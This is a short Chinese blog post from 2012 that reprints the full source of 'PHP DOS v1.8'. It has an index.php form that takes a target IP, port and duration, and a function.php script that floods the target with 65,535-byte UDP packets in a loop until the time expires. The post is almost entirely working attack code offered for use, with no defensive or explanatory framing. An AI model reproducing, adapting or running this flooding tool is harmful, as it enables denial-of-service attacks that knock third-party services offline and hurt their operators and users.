php实现DOS攻击

index.php

//=================================================
//PHP DOS v1.8 (Possibly Stronger Flood Strength)
//Coded by http://www.dareng.com
//=================================================

<?php $ip = $_SERVER['REMOTE_ADDR']; ?> <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="content-type" content="text/html; charset=iso-8859-1"> <meta name="author" content=""> <title>PHP DoS, Coded by EXE</title> </head> <!-- PHP DOS, coded by EXE --> <style type="text/css"> <!-- body { font-family: Arial, Helvetica, sans-serif; font-size: 12px; font-style: normal; line-height: normal; color: #FFFFFF; background-color: #000000; } --> </style> <!-- PHP DOS, coded by EXE --> <body> <center><br><br> <img src="main.jpg"><br> <b>Your IP:</b> <font color="red"><?php echo $ip; ?></font>&nbsp;(Don't DoS yourself nub)<br><br> <form name="input" action="function.php" method="post"> IP: <input type="text" name="ip" size="15" maxlength="15" class="main" value = "0.0.0.0" onblur = "if ( this.value=='' ) this.value = '0.0.0.0';" onfocus = " if ( this.value == '0.0.0.0' ) this.value = '';"> &nbsp;&nbsp;&nbsp;&nbsp;Time: <input type="text" name="time" size="14" maxlength="20" class="main" value = "time (in seconds)" onblur = "if ( this.value=='' ) this.value = 'time (in seconds)';" onfocus = " if ( this.value == 'time (in seconds)' ) this.value = '';"> &nbsp;&nbsp;&nbsp;&nbsp;Port: <input type="text" name="port" size="5" maxlength="5" class="main" value = "port" onblur = "if ( this.value=='' ) this.value = 'port';" onfocus = " if ( this.value == 'port' ) this.value = '';"> <br><br> <input type="submit" value=" Start the Attack---> "> <br><br> <center> After initiating the DoS attack, please wait while the browser loads. </center> </form> </center> <!-- PHP DOS, coded by EXE -->
http://www.dareng.com </body> </html>

 function.php

<?php

//=================================================
//PHP DOS v1.8 (Possibly Stronger Flood Strength)
//Coded by http://www.dareng.com
//=================================================

$packets = 0;
$ip = $_POST['ip'];
$rand = $_POST['port'];
set_time_limit(0);
ignore_user_abort(FALSE);

$exec_time = $_POST['time'];

$time = time();
print "Flooded: $ip on port $rand <br><br>";
$max_time = $time+$exec_time;



for($i=0;$i<65535;$i++){
        $out .= "X";
}
while(1){
$packets++;
        if(time() > $max_time){
                break;
        }
        
        $fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5);
        if($fp){
                fwrite($fp, $out);
                fclose($fp);
        }
}
echo "Packet complete at ".time('h:i:s')." with $packets (" . round(($packets*65)/1024, 2) . " mB) packets averaging ". round($packets/$exec_time, 2) . " packets/s \n";
?>
posted @ 2012-05-29 15:20  专注web技术  阅读(865)  评论(0编辑  收藏  举报